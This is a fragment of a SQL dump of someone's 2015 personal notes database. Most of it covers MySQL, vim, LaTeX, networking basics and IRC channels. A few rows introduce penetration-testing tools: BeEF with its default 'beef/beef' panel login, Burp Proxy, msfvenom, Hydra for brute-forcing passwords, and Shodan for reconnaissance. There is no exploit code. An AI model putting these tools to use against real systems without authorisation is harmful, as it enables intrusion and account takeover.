\n',NULL,NULL,'2015-01-14 13:07:08'),(283,'#kali #tool #panel #admin#beef #run #tuto','\nafter running the server of beef, \nu need to go in interface_ui|web_admin of beef:\n	go at: http://127.0.0.1:3000/ui/panel\n		which u see in the terminal of running of beef_server\n	\n	in the first time of connection to server_beef:\n		username: beef\n		password: beef\n',NULL,NULL,'2015-01-14 13:21:51'),(284,'#burp #kali #methodology #tool','\nBurp Proxy is a tool that intercepts HTTP and HTTPS traffic. It allows a Penetration\nTester to examine an application, its vulnerabilities, and the two-way traffic between\na client and a web server. Burp Proxy is very popular because of its ability to not\nonly examine the traffic, but also, it manipulates requests\n\nWhen a user enters a URL in their web browser such as http://www.DrChaos.com, \nthey expect to be directed to the website. A proxy server will\nintercept that request and send it on behalf of a client\n\n',NULL,NULL,'2015-01-14 14:04:42'),(285,'#mysql #change #column#order',NULL,NULL,'ALTER TABLE table00 CHANGE COLUMN col00 col00 VARCHAR(50) AFTER col01;\n  then col00 will be placed after col01\n  note thate there is no before col00\n','2015-01-14 15:16:19'),(286,'potatoes',NULL,NULL,NULL,'2015-01-14 15:30:55'),(287,'does_it work?',NULL,NULL,NULL,'2015-01-14 15:40:21'),(288,'#mysql #had#issue #tuto','\ni removed a column which is a key\ni set it back but the place of that new_col is in the bottom\n\nsolution:\n=====================================\ni removed totally col00\ni recreate it but no auto_increment and not a key\ni set its place in the head of all col by:\n  ALTER TABLE Employees CHANGE COLUMN col00 col00 VARCHAR(50) AFTER first_col;\n  	there is no: before first_col;\n  ALTER TABLE table00 CHANGE COLUMN first_col first_col VARCHAR(50) AFTER col00;\n  	now col00 is the first of all columns\nadd the fact that col00 is an auto_increment and a primary key by:\n  alter table table00 change col00 col00 int(5) auto_increment key;\n\nand it\'s done\n',NULL,NULL,'2015-01-14 15:40:48'),(289,'#tool#kali #msfvenom #intro','msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single framework instance. The advantages of msfvenom are:\n    One single tool\n	    Standardized command line options\n		Increased speed\n\nMsfvenom has a wide range of options available:\n	msfvenom -h',NULL,NULL,'2015-01-14 18:37:18'),(290,'#update_for#locate #linux',NULL,'updatedb # this is a linux cmd',NULL,'2015-01-14 18:57:08'),(291,'#irc #server','irc.freenode.net',NULL,NULL,'2015-01-14 20:07:02'),(292,'#irc #server','irc.idlemonkeys.net',NULL,NULL,'2015-01-14 20:07:50'),(293,'#irc #idlemonkeys #chan','canyouhack.it',NULL,NULL,'2015-01-14 20:08:46'),(294,'#irc #freenode #chan','#kali-linux',NULL,NULL,'2015-01-14 20:13:50'),(295,'#irc #freenode #chan','#kali-fr',NULL,NULL,'2015-01-14 20:13:50'),(296,'#irc #freenode #chan','#mysql',NULL,NULL,'2015-01-14 20:13:50'),(297,'#irc #freenode #chan','#linux',NULL,NULL,'2015-01-14 20:13:50'),(299,'#irc #freenode #chan','#debian-facile',NULL,NULL,'2015-01-14 20:16:18'),(300,'#irc #freenode #chan','#git-fr',NULL,NULL,'2015-01-14 20:27:58'),(301,'#irc #freenode #chan','#openobject for openerp',NULL,NULL,'2015-01-14 20:27:58'),(302,'#irc #freenode #chan','#openobject-fr for openerp',NULL,NULL,'2015-01-14 20:27:58'),(303,'#irc #freenode #chan','#python',NULL,NULL,'2015-01-14 20:27:58'),(304,'#irc #freenode #chan','#freenode',NULL,NULL,'2015-01-14 20:27:58'),(305,'#irc #freenode #chan','#vim',NULL,NULL,'2015-01-14 20:27:58'),(306,'#irc #freenode #chan','#hackcommunity.com',NULL,NULL,'2015-01-14 20:27:58'),(307,'#irc #freenode #chan','#python-fr',NULL,NULL,'2015-01-14 20:27:58'),(308,'#irc #freenode #chan','#vuc for#voip',NULL,NULL,'2015-01-14 20:27:58'),(309,'#irc #freenode #chan','#java',NULL,NULL,'2015-01-14 20:27:58'),(310,'#irc #freenode #chan','networking',NULL,NULL,'2015-01-14 20:27:58'),(311,'#irc #freenode #chan','bash',NULL,NULL,'2015-01-14 20:27:58'),(312,'#irc #freenode #chan','bottlepy',NULL,NULL,'2015-01-14 20:27:58'),(313,'#irc #freenode #chan','vim',NULL,NULL,'2015-01-14 20:27:58'),(314,'#irc #cmd #list_all#chan_in#server','/list',NULL,NULL,'2015-01-14 20:47:43'),(315,'#linux #logged #remote',NULL,NULL,'lastlog\n  that is how to see who were the last_connected to ur linux ','2015-01-14 20:52:37'),(316,'#irc #freenode #chan','nethack',NULL,NULL,'2015-01-14 21:16:32'),(317,'#irc #freenode #chan','oxford-geeks',NULL,NULL,'2015-01-14 21:16:32'),(318,'#irc #freenode #chan','asm',NULL,NULL,'2015-01-14 21:16:32'),(319,'#irc #freenode #chan','systemadmins',NULL,NULL,'2015-01-14 21:16:32'),(320,'#irc #freenode #chan','ubuntu',NULL,NULL,'2015-01-14 21:16:32'),(321,'#irc #server #epiknet','irc.epiknet.org',NULL,NULL,'2015-01-14 21:20:45'),(322,'#irc #epiknet #chan','debian',NULL,NULL,'2015-01-14 21:20:45'),(323,'#irc #epiknet #chan','linux',NULL,NULL,'2015-01-14 21:20:45'),(324,'#irc #epiknet #chan','musique',NULL,NULL,'2015-01-14 21:20:45'),(325,'#irc #epiknet #chan','programmation',NULL,NULL,'2015-01-14 21:20:45'),(326,'#irc #epiknet #chan','rencontres',NULL,NULL,'2015-01-14 21:20:45'),(327,'#irc #epiknet #chan','sciences',NULL,NULL,'2015-01-14 21:20:45'),(328,'#irc #epiknet #chan','sdz',NULL,NULL,'2015-01-14 21:20:45'),(329,'#irc #server #mibbit','irc.mibbit.net',NULL,NULL,'2015-01-14 21:20:45'),(330,'#irc #chan #mibbit','codingcafe',NULL,NULL,'2015-01-14 21:20:45'),(331,'#irc #server #undernet','us.undernet.org',NULL,NULL,'2015-01-14 21:20:45'),(332,'#irc #chan #undernet','40+stillrocking',NULL,NULL,'2015-01-14 21:20:45'),(333,'#web #shodan #info#gathering','Shodan is a search engine that can identify a specific device, such as computer, router, server, using a variety of filters,\n',NULL,NULL,'2015-01-14 21:49:30'),(334,'#juniper-family -intro','#juniper_family is used to build a data_center\nLes produits de Juniper sont composés des familles de routeurs :\n    T-series sont de gros routeurs de backbone (Tera Router).\n    M-series sont des rout',NULL,NULL,'2015-02-15 15:52:26'),(335,'tcp_ip7 to 1: please do not throw sausage pizza away',NULL,NULL,NULL,'2015-01-14 22:38:07'),(336,'tcp_ip1 to 7: all people seems to need data processing',NULL,NULL,NULL,'2015-01-14 22:38:07'),(337,'tcp_ipplease do not throw sausage pizza away',NULL,NULL,NULL,'2015-01-14 22:38:07'),(338,'#dwdm #tcpip #intro','bcz  Internet users growing rapidly, but the applications being used are becoming more advanced and therefore consume more bandwidth\nthen there is dwdm',NULL,NULL,'2015-01-14 22:44:41'),(339,'#backbone #intro','A backbone can tie together diverse networks in the same building, in different buildings in a campus environment, or over wide areas.\nit was a T1 line that connected 170 smaller networks together and operated at 1.544 Mbps\nIBM, MCI and Merit worked with NSF to create the backbone and developed a T3 (45 Mbps) backbone\n\nBackbones are typically fiber optic trunk lines. The trunk line has multiple fiber optic cables combined together to increase the capacity. Fiber optic cables are designated OC for optical carrier, such as OC-3, OC-12 or OC-48. An OC-3 line is capable of transmitting 155 Mbps while an OC-48 can transmit 2,488 Mbps (2.488 Gbps)\nToday there are many companies that operate their own high-capacity backbones, and all of them interconnect at various NAPs around the world.\n',NULL,NULL,'2015-01-20 03:59:56'),(340,'#cluster #intro','set of connected computers that work together so that they can be viewed as a single system',NULL,NULL,'2015-01-14 22:55:26'),(341,'#ff #firefox #addons #ads #AdblockEdge','addon_name:  Adblock Edge\nfork of the Adblock Plus version\nprovide the same features as Adblock Plus 2.X \n  created by Wladimir Palant',NULL,NULL,'2015-01-15 05:57:37'),(342,'#youtube #yt #ff #firefox #addons #ads #flash#dl','addon_name:  Flash and Video Download\nDownload Flash and videos with a single click',NULL,NULL,'2015-01-15 05:56:30'),(343,'#ip #ff #firefox #addons #ip#domain #info#gathering #reconnaissance','addon_name:  IP Address and Domain Information\nThe Ultimate online investigation tool! See detailed information about every IP Address, Domain Name and Provider.\n************\nIf You use the NoScript Add-on or other JavaScript blocking add-on, please add www.tcpiputils.com to the Whitelist. If you don\'t see the icon you can use the hotkey CTRL-SHIFT-I to show the popup.***************\nThis extension displays detailed information about the current website. The information can be used for online investigation and SEO purposes.',NULL,NULL,'2015-01-15 06:02:48'),(344,'#ip #ff #firefox #addons #proxy #geo#location','addon_name: Proxy Finder (IP Switcher)\nChange your Geo-location with one click\na Firefox extension which automatically switches an Internet connection across one or more proxy servers. Put simply, Proxy Finder automates the manual process of editing Firefox\'s Proxy Settings dialog. Proxy server switching occurs based on the Manual or Automatic mode you define.\nIn the manual mode (default) you need to choose a protocol (http, https, socks4, or socks5) and enter a desired IP and Port, then press ON/OFF button to start the proxy. For the automatic mode, the extension uses its online server to search for a working proxy based on the protocol(s) and origin you have chosen.\n\nMoreover, animated icons show you when a proxy is in use. Advanced logging shows you which proxies were used. If you have any question or concern, feel free to contact me via the following address: philip[dot]tholus[at]gmail.com\n last_updated: 15/01/2015',NULL,NULL,'2015-01-15 06:09:23'),(345,'#ip #ff #firefox #addons #vimperator','addon_name: vimperator\nVimperator adds an efficient, Vim-inspired user interface on top of Firefox\n    last_updated: 14/01/2015',NULL,NULL,'2015-01-15 06:11:41'),(346,'#mysql #change#prompt',NULL,NULL,'\nusing my.cnf\n	vi ~/.my.cnf\n		[mysql]\n		prompt=\\u@\\h [\\d]>\\_\n\nfrom mysql\n	mysql> prompt u@h [d]>\n\nfrom bash\n	export MYSQL_PS1=\"u@h [d]> \"\n\ngeneric variables:\n==============================================================\n\\ displays single quote\n\\v displays server version\n\\p displays port\n\\n displays newline\n\\d displays default database\n\\u displays username\n\\U displays username@hostname accountname\n\nfor more information:\n	http://www.thegeekstuff.com/2010/02/mysql_ps1-6-examples-to-make-your-mysql-prompt-like-angelina-jolie/\n','2015-01-15 06:58:07'),(347,'#mysql #comment#table #create#table',NULL,NULL,'create table table00(\n...\ncol00 text;\n...\n) comment \'this is the comment for this table\'\n','2015-01-15 09:15:02'),(348,'#mysql #comment#column #alter#table',NULL,NULL,'\nalter table table00 comment \'this is the new comment\';\n','2015-01-15 09:15:02'),(349,'#mysql only#field#name of#db00',NULL,NULL,'select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=\'db00\';','2015-01-16 09:18:54'),(350,'#mysql only#field#type#name of#db00',NULL,NULL,'select COLUMN_NAME,COLUMN_TYPE from information_schema.COLUMNS where TABLE_NAME=\'db00\';','2015-01-16 09:20:07'),(351,'#mysql #manage #db','db(information_schema) is a db which has all information about the db in the server\n  information_schema.columns contains information about columns, etc....... ',NULL,NULL,'2015-01-16 09:28:20'),(352,'#mysql #variable #select',NULL,NULL,'\nselect count(*) into @var00 from table00 where col01=5;\nselect col00 into @var00 from table00 where col01=5;\n  but remember the value which will enter in var00 __must be the result of one col and one row query__\n','2015-01-17 10:38:22'),(353,'#mysql #unset #variable',NULL,NULL,'set @var00:=null;\n    there is nothing like unset @var00  OR  unset var00;unset var00','2015-02-19 20:39:25'),(355,'#mysql #if#statement #declare',NULL,NULL,'\nCREATE FUNCTION SimpleCompare(n INT, m INT)\n  RETURNS VARCHAR(20)\n\n  BEGIN\n    DECLARE s VARCHAR(20);\n	-- use declare then u will not need to do @s when u use it nex time\n\n    IF n > m THEN SET s = \'>\';\n    	-- IF n = m THEN SET s = \'>\';\n		-- don_t use @s bcz s is already declared\n    ELSEIF n = m THEN SET s = \'=\';\n    ELSE SET s = \'<\';\n    END IF;\n\n    SET s = CONCAT(n, \' \', s, \' \', m);\n\n    RETURN s;\n','2015-01-16 10:22:19'),(356,'#hydra #kali #tool #intro','free brute force password cracking tool. You can attack either single or multiple user accounts and try single passwords or a list of passwords. Hydra provides IPv6 support, a graphical user interface\n    ø  Hydra knows how to interact with a huge range of target services, including AFP, FTP, HTTP, IMAP, LDAP, MySQL, Oracle, POP3, RDP, RSH, SMB, SMTP, VNC, and VMware',NULL,NULL,'2015-01-17 05:15:37'),(357,'#ff #firefox #addon #search#engine','searchengine longman for dico',NULL,NULL,'2015-01-17 05:36:30'),(358,'#mysql #variable#out #procedure','\ndelimiter |\ncreate procedure proc00(in param00 int(3), out param01 varchar(10))\nbegin\nselect col00 into param01 from table00 where col01=param00;\nend\n|\n\nto call it:\n  call proc00(45, @var00);\n',NULL,NULL,'2015-01-17 09:58:51'),(359,'#mysql #coalesce #default#fct',NULL,NULL,'Returns the first non-NULL value in the list, or NULL if there are no non-NULL values\n    SELECT COALESCE(NULL,1);\n      ret: 1','2015-01-17 10:05:18'),(362,'#mysql #var #intro',NULL,NULL,'\nthere are many kinda variable, these are 2:\ndeclare var00\n  then when u need var00, u don_t need to add @ in front of var00\n  ex: declare var00\n  	select col00 into var00 where col01=5;\nif u didn_t declared var01\n  then use @ in front of var01\n  ex: select col00 into @var01 where col01=6;\n','2015-01-17 11:35:30'),(361,'#mysql #rename#procedure',NULL,NULL,'first, remember that u are the user root in mysql_db\nUPDATE mysql.proc\')\nSET name = \'<new_proc_name>\',\nspecific_name = \'<new_proc_name>\'\nWHERE db = \'<database>\' AND\n  name = \'<old_proc_name>\' ;\n','2015-01-17 10:20:10'),(363,'#mysql #drop#trigger',NULL,'drop trigger trigger00;',NULL,'2015-01-17 11:46:13'),(364,'#mysql #show#trigger',NULL,'show triggers ;',NULL,'2015-01-17 11:47:58'),(365,'#mysql #truncate #erase#all#data in_table00',NULL,NULL,'truncate table00','2015-01-17 12:04:47'),(366,'#mysql #show#trigger#definition',NULL,'show create trigger trigger00;',NULL,'2015-01-17 12:09:40'),(367,'#mysql #sub_query #select',NULL,NULL,'\nselect * from table00 where col00=(select max(col01) from table01)\ndon_t add a \";\" after the subquery,\ndo not do this next_one:\n	select * from table00 where col00=(select max(col01) from table01;);\n','2015-02-03 06:32:30'),(368,'#mysql to#hexadecimal #convert',NULL,NULL,'select hex(\'cat\');','2015-01-17 14:18:17'),(369,'#mysql from#hexadecimal #convert',NULL,NULL,'select 0x636174;','2015-01-17 14:18:48'),(370,'#mysql #group_by',NULL,NULL,'\nif we have this in table00:\n\n	col00	col01\n	=============\n	val1	val12\n	val0	val02\n	val1	val11\n	val1	val14\n	val0	val01\n	val2	val21\n	val0	val03\n	val5	val51\n	val1	val13\n\nand we want this next:\n	col00	col01\n	=============\n	val0	val01\n	val0	val02\n	val0	val03\n	val1	val11\n	val1	val12\n	val1	val13\n	val1	val14\n	val2	val21\n	val5	val51\n\nthen:\n	select col00, col01 from table00 group by col00;\n','2015-01-17 14:28:44'),(371,'mariadb','community-developed fork of the MySQL intended to remain free under the GNU GPL',NULL,NULL,'2015-01-17 14:38:07'),(372,'notable','remarkable, Worthy of attention or notice; ',NULL,NULL,'2015-01-17 14:39:10'),(373,'#vim #range #put',NULL,NULL,'\n:put =range(5, 17)\n	it will create sth like this:\n	5\n	6\n	7\n	8\n	...\n	17\n','2015-01-17 15:24:07'),(374,'#vim #for #range #put',NULL,NULL,'\n:for i in range(1,10) | put =\'192.168.0.\'.i | endfor\n	192.168.0.1\n	192.168.0.2\n	192.168.0.3\n	192.168.0.4\n	192.168.0.5\n	192.168.0.6\n	192.168.0.7\n	192.168.0.8\n	192.168.0.9\n	192.168.0.10\n\n','2015-01-17 15:37:58'),(377,'#vim #show#all#map',NULL,NULL,':map\n	displays the maps that work in normal, visual and select mode\n:map!\n	displays the maps that work in insert and command-line mode\n\n:nmap - Display normal mode maps\n:imap - Display insert mode maps\n:vmap - Display visual and select mode maps\n:smap - Display select mode maps\n:xmap - Display visual mode maps\n:cmap - Display command-line mode maps\n:omap - Display operator pending mode maps\n','2015-01-17 15:56:58'),(378,'#vim #analysing#result :map',NULL,NULL,'\n:nmap\nn  <C-W>*      * <C-W><C-S>*\nn  <C-W>#      * <C-W><C-S>#\nn  <F2>        * :lchdir %:p:h<CR>:pwd<CR>\n\nn  Normal mode map. Defined using \':nmap\' or \':nnoremap\'.\n\n','2015-01-17 16:06:08'),(376,'#vim -keymap -mapping-intro','\nKey mapping refers to creating a shortcut for repeating a sequence of keys or command\nex:\n	:map <F2> :echo \'Current time is \' . strftime(\'%c\')<CR>\n		then, when u hit <f2> sth like will appear where u have to enter cmd\n			Sat 17 Jan 2015 17:42:42 SAST		\n	but\n	:map! <F2> :echo \'Current time is \' . strftime(\'%c\')<CR>\n		will appear the result in the current_buffer\n    u can do sth like this next one\n    :map <C-w>d :echo \'potatoes\'\n        then u type <C-w> after that type \"d\" and ur potatoes will appear\n    :map <C-w>dl :echo \'potatoes\'\n        then u type <C-w> after that type \"d\" and ur potatoes will appear\n\n\n\nThe first step is to decide the sequence of keys that needs to be mapped.\n\nsecond step is instead of creating a map that works in all the modes, it is better to define the map that works only in selected modes.\n\nThe third step is to find an unused key sequence that can be used to invoke the map\n',NULL,'\nKey mapping refers to creating a shortcut for repeating a sequence of keys or command\nex:\n        :map <F2> :echo \'Current time is \' . strftime(\'%c\')<CR>\n                then, when u hit <f2> sth like will appear where u have to enter cmd\n                        Sat 17 Jan 2015 17:42:42 SAST\n        but\n        :map! <F2> :echo \'Current time is \' . strftime(\'%c\')<CR>\n                will appear the result in the current_buffer\n    u can do sth like this next one\n    :map <C-w>d :echo \'potatoes\'\n        then u type <C-w> after that type \"d\" and ur potatoes will appear\n    :map <C-w>dl :echo \'potatoes\'\n        then u type <C-w> after that type \"d\" after that type \"l\"\n		and ur potatoes will appear\n\n\n\nThe first step is to decide the sequence of keys that needs to be mapped.\n\nsecond step is instead of creating a map that works in all the modes, it is better to define the map that works only in selected modes.\n\nThe third step is to find an unused key sequence that can be used to invoke the map\n','2015-02-18 14:13:28'),(379,'#vim #redirection',NULL,NULL,'\nwhen u do some cmd in vim, the result can _span_ several pages, ie the result is too long\n  so u have to put the result inside a file\n	:redir! > vim_maps.txt\n	:map\n	:map!\n	:redir END\n','2015-01-18 04:00:52'),(380,'#vim #unmap',NULL,NULL,'\nonly one example\n\n	:unmap <F3>\n','2015-01-18 04:02:11'),(381,'#language #japanese #types','Three types of character sets\n    Hiragana,\n    Katakana \n    Kanji\n  are used in a mixed way. You need to know around 2,000 letters to read publications. It can take several years to learn them.',NULL,NULL,'2015-01-19 07:41:58'),(382,'#mysql #create #db #database',NULL,'make sure that u are in root of mysql\n  mysql> create database db00;',NULL,'2015-01-19 08:22:16'),(383,'application_reseau #definition #network','Une application est l\'utilisation (voire l\'exploitation) d\'une ressource pour en faire quelque chose de concret.',NULL,NULL,'2015-01-19 09:08:00'),(384,'#biggest#network in the#world','reseau internet\nreseau telecom',NULL,NULL,'2015-01-19 09:10:23'),(385,'#definition #network #www','ensembles des sites web presents sur internet',NULL,NULL,'2015-01-19 09:12:00'),(386,'#definition#internet #network','l\'ensemble des nœuds (connexions, câbles, etc.) entre les machines qui nous donnent accès au web\n  il y a bcp d_autre chose sur internet mais pas seulement du web',NULL,NULL,'2015-01-19 09:33:13'),(387,'#definition#reseau_internet #network','Le réseau Internet est le réseau permettant la communication entre différents ordinateurs connectés à Internet',NULL,NULL,'2015-01-19 09:14:37'),(388,'#network #introduction definition','\nUn réseau est un groupe de chose|entités en communication(qui parlent entre eux).\n	attention:	\n		il y a plusieurs entitees\n		il y a plusieurs facons de faire la communication\nle principe d_intermediaire est le _fondement_ des ppe du reseau\n\npour communiquer, les 2choses doivent parler la meme langue(protocole)\nOU\nl_intermediaire doit parler la meme langue(protocole) de chacun de ses interlocuteurs\n\n',NULL,NULL,'2015-01-19 09:19:18'),(389,'#network #tip #network','qui dit reseau, dit _assurer|faire_ la communication',NULL,NULL,'2015-01-19 09:23:28'),(390,'#network #definition #intro #internet','interconnected computers which all use tcp_ip to communicate\n  all web-servers which have sites __publicly accessible__ are a part of the internet\n  it is not only web service the service that internet can give, there are many\n  all materials which can access internet is a part of internet as well :/\nIn the real Internet, dozens of large Internet providers interconnect at NAPs in various cities,\nThe Internet is a collection of huge corporate networks that agree to all intercommunicate with each other at the NAPs. In this way, every computer on the Internet connects to every other\n',NULL,NULL,'2015-01-20 03:03:42'),(391,'#network #intro_ssl&http&https','HTTP, is the language or “protocol” spoken by all web browsers when they communicate with web servers.\nSecure Sockets Layer (SSL) is a protocol that provides secure communication.\nWhen two programs communicate with each other using HTTP via SSL,\n	it is referred to as “HTTPS”\n',NULL,NULL,'2015-01-19 10:52:59'),(392,'#network #intro_dns_dynamic','\ncomputers are given a different IP address every time they connect to the Internet.\nThis practice allows Internet service providers (ISPs) to serve many customers using only a few IP addresses\nif users host a website in that isp, the isp needs dns_dynamic for updating automatically the relationship between their fixed website name and the changing IP address, so that their website is easy to find on the Internet.\n',NULL,NULL,'2015-01-19 11:09:53'),(393,'#network #cable#types #ethernet #croisee #droit #rj45 #rj11','\ncable ethernet: rj45 est l_interface\n	appellee aussi utp-cat5 ou utp-cat6\n		la cat6 supporte qlq gigabit par sec\n		la cat5 supporte 100megabits par sec\n	2types:\n		croisees, dit aussi cable batard:\n			ordi ordi\n		droit:\n			ordi a une autre appareil(pas ordi)\ncable telephonique = rj11 est l_interface\n',NULL,NULL,'2015-01-19 11:10:20'),(394,'#network #intro dns','a dns is a db\nit stores all of the domain names and corresponding IP address  for a specific top-level domain (TLD) ex_of_tld:.com .gov .org\nit is addressing a sys to internet\nWithin every top-level domain there is a huge list of second-level domains. For example, in the .COM first-level domain there is:\n    HowStuffWorks\n    Yahoo\n    Microsoft\nEvery name in the .COM top-level domain must be unique\nThe left-most word, like www, is the host name. It specifies the name of a specific machine in a domain with a specific IP\n',NULL,NULL,'2015-01-20 19:55:08'),(395,'#network #basic #intro#structure','\nthe must known about the structure of the internet are:\n	dns\n	network access pt\n	backbones\n\nevery computer connected to the internet are a part of the internet\ninternet is a network of network >.<\n\n',NULL,NULL,'2015-01-19 11:41:37'),(396,'#network #definition #pop','point of presence\n  Most large communications companies have their own dedicated backbones connecting various regions. In each region, the company has a Point of Presence (POP). The POP is a place for local users to access the company\'s network, often through a local phone number or dedicated line',NULL,NULL,'2015-01-19 11:45:08'),(397,'#vim #drawit','\nit is used to draw in vim with:\n	left - right - down - up\nhttp://www.vim.org/scripts/script.php?script_id=40\n\njust dl the \"DrawIt.vba.gz\" and go in the folder by terminal where u dldd it\nread it like this: \n	vi DrawIt.vba.gz \n	in vim do\n		:so %\n		sometimes it doesn_t work at first time then repeat again\n	and quit bcz it is already installed\n		:q	\n\nto start drawit:\n    \\di\nto stop drawit:\n    \\ds\n\nto draw a box \n    select a region\n    \\b\nto draw an ellipse\n    select a region\n    \\e\nto draw a line\n    select a region\n    \\l\n',NULL,NULL,'2015-02-27 03:16:22'),(398,'#network #introduction #backbone #pop #architecture','\nMost large communications companies have their own dedicated backbones connecting various regions.\nIn each region, the company has a Point of Presence (POP)\nThe POP is a place for local users to access the company\'s network\n\n\n                                                                                     \n                                                             +--------I S P--------+\n                                     +----I S P----+         |+-------------------+|\n  +---+      +---------+             |  +-------+  |         || +---------------+ ||<<<<<<<<<<<<<<<<<<<<<<<<<<<<< \n  +---+      |  home   +<-+--------->+  |  pop  |<<<<--+---->>>>+      nap      | ||            I N T E R N E T\n /___/       +---------+  |          |  +----^--+  |   |     || +---------------+ ||+++<<<<<<<<<<<<<<<<<<<<<<<<<<\n                          |          +-------^-----+   |     |+-------------------+| |\n                          |                  ^         |     +---------------------+ |\n          +---------------+---+              |         |   +-------+                 |\n          |conventional_phone |              |         +---+t3_line|                 |\n          |cable_modem_line   |              |             +-------+                 +---+   +---------------+ \n          |digital_subscriber |              |                                           |   | +-----------+ | \n          +-------------------+              |       +-------+                           +---+ + BACKBONE  | | \n                                             +-------|t1_line|                               | +-----------+ | \n                                             |       +-------+                               +---------------+ \n                                             |                                                                 \n                 +------------+              |\n                 |+----------+|              |\n                 ||   lan    ++<-------------+\n        +---+----++----------+|\n        |   |    +-------+----+\n      +-+   |       +----+---+\n  +---+     |     +-+        +--+\n  +---+     |     |          +--+\n /___/   +--+     +--+      /___/\n         +--+     +--+\n         \\___    \\___\n\n\n',NULL,NULL,'2015-01-20 22:07:48'),(399,'bsd #intro #unix','\nBSD ne sont pas des clones, mais des dérivés Open Source du système d\'exploitation UNIX® issus des laboratoires de recherche de AT&T, qui est lui-même un ancêtre de l\'actuel UNIX® System V\n',NULL,NULL,'2015-01-19 20:14:31'),(400,'#network #intro#nap','\nall of Company A\'s customers can talk to each other, and all of Company B\'s customers can talk to each other, but there is no way for Company A\'s customers and Company B\'s customers to intercommunicate. Therefore, Company A and Company B both agree to connect to NAPs in various cities, and traffic between the two companies flows between the networks at the NAPs.\n                            +-------------------+                          +-----------------------+\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |    compA_network  +<------------------------>+                       |\n                            |                   |        nap               | comp B_network        |\n                            |                   +<------------------------>+                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                           -+-------------------+                          +-----------------------+\n\nIn the real Internet, dozens of large Internet providers interconnect at NAPs in various cities,\nThe Internet is a collection of huge corporate networks that agree to all intercommunicate with each other at the NAPs\nAll of these networks rely on NAPs, backbones and routers to talk to each other.\nThe routers determine where to send information from one computer to another\nA router has two separate, but related, jobs:\n	It ensures that information doesn\'t go where it\'s not needed\n	It makes sure that information does make it to the intended destination\n\na router is extremely useful in dealing with two separate computer networks.\nIt also protects the networks from one another, preventing the traffic on one from unnecessarily _spilling_ over to the other.\n\n                                                            |  I  |\n                                                            |  N  |\n                                                            |  T  |\n                                                            v  E  v\n                +-----------+                               v  R  v                              +-------------+\n                |  pc_1     |                               v  N  v                              |   pc_1      |\n                |  pc_2     |                               v  E  v                  +-----------+   pc_2      |\n                |           +---------+               +-----v  T  v -----+           |           |             |\n                |           |         |               |  +--+-----+--+   |           |           |             |\n                |  netw_A   |       +-+-------+       |  |           |   |       +---+--+        |   netw_B    |\n                |           +<----->+ switch  +<------+->+   ROUTER  +<--+------>+switch+<------>+             |\n                |           |       +-+-------+       |  |           |   |       +----+-+        |             |\n                |   pc_200  +---------+               |  +-----------+   |            |          |   pc100     |\n                |   pc_300  |                         +------------------+            +----------|   pc250     |\n                +-----------+                                                                    +-------------+\n\n',NULL,NULL,'2015-01-20 03:47:42'),(401,'#latex #introduction','\nlatex et html possedent des similitudes mais latex est consacree pour les publications scientifiques.\n	avec un excellent rendu des équations et formules\nIl permet également de générer facilement sommaires, listes de figures et numéros d\'équation\nLes fichiers LaTeX peuvent ensuite être convertis en un grand nombre de formats différents comme par exemple PDF, PostScript, DVI, et HTML\n\nse prononce \"latec\" ou \"latheque\" mais surtout pas \"latex\"\n\nUn fichier LaTeX est un fichier contenant du _texte_ et des commandes de marquage. \nil est ensuite converti vers d\'autres formats grâce à un compilateur LaTeX.\n\ncertains utilisent __texmaker__ ou __kile__ pour faire du latex\ncertains utilisent les bon_editeurs du texte comme vim, emacs, gedit, .....\n',NULL,NULL,'2015-01-20 10:45:09'),(402,'#zip#explore',NULL,NULL,'this is how to #see explore inside of file00.zip\n    unzip -l file00.zip','2015-01-20 10:56:14'),(403,'#introduction #latex #dldd #documentation','\nwhen u dldd a file for help and tuto for latex:  http://www.howtotex.com/download/FiveMinuteGuideToLaTeX.zip\n	hope that link still work when u read this doc\n3subfolders are present:\n	docs\n		contains the main content and the preamble for the documentation\n	figs\n		where all figures are placed\n	refs\n		contains a file for the bibliography\n',NULL,NULL,'2015-01-20 11:01:57'),(404,'#tree #linux #intro','\ndisplays directory tree, in color\n',NULL,NULL,'2015-01-20 11:11:41'),(405,'#latex #intro #ifk','\nfirst thing u have to do with latex is to do the \"preamble\"\n	which mean to define the class of the document\n		ex: article, book, report, slides, letter\n	and to define some __optional__ arguments, \n		ex: font_size\n	example of preamble:\n		\\documentclass[10pt]{report}\n		% documentclass is a keyword\n		% {} is to define the class chosen\n		% [] is to define the font_size\n\nthen comes the \"environment\"\n	everything content should be done inside\n		\\begin{}\n		\\end{}\n		% {} contains the environment_name\n		% 	here are some environment:\n		% 		math, figures, tables, .........\n	__warning__:\n	everything inside the \\begin{} and \\end\n		will be printed\n	\nafter that the \"sectioning\"\n	A distinct part or subdivision of a writing is created with:\n		\\section{} , \\subsection{} , \\subsubsection{} , \\paragraph{}\n		, where {} contains the title.\n	The report and book classes require an additional \\chapter{} command\n\nin latex: {} will define many things\n	it is up to the section where u are in\n',NULL,NULL,'2015-01-20 11:36:28'),(406,'#latex #comment','\nthese are some examples for comments in latex:\n        % this is comment in latex which should be only one line\n\n        \\begin{comment}\n        here is a very long comment\n        \\end{comment}\n\n        \\/*\n        here is another long line of comment\n        potatoes\n        mangoes\n        */\n',NULL,NULL,'2015-01-20 11:47:52'),(407,'#vim -escaping -\\','\nto escape \\\n	ex: :%s/\\\\/\\\\\\\\/cg\nyes, that is right\n  that_s how to change all \\ to \\\\',NULL,NULL,'2015-02-16 18:39:11'),(408,'#zathura #conf #linux',NULL,NULL,'~/.zathurarcm/etc/zathurarc','2015-01-20 13:46:20'),(409,'#linux #log #some #general','\n/var/log/messages – Contains global system messages\n/var/log/dmesg\n	When the system boots up, it prints number of messages on the screen\n		These messages are available in _kernel ring buffer_\n	this file contains kernel ring buffer information.\n	whenever the new message comes the old message gets overwritten.\n	u can check the content of this file by doing:	dmesg\n/var/log/auth.log\n/var/log/boot.log\n/var/log/aptitude\n	log of cmd which installed sth in ur sys by aptitude_cmd\n/var/log/apt/history.log\n	when a cmd uses apt-get for installing a packet\n		the log will be in this file\n/var/log/apt/term.log\n	this is the _process_ of installation of packet\n/var/log/lastlog\n	Displays the recent login information for all the users.\n	but I don_t understand why mine doesn_t work, kali\n\n',NULL,NULL,'2015-01-20 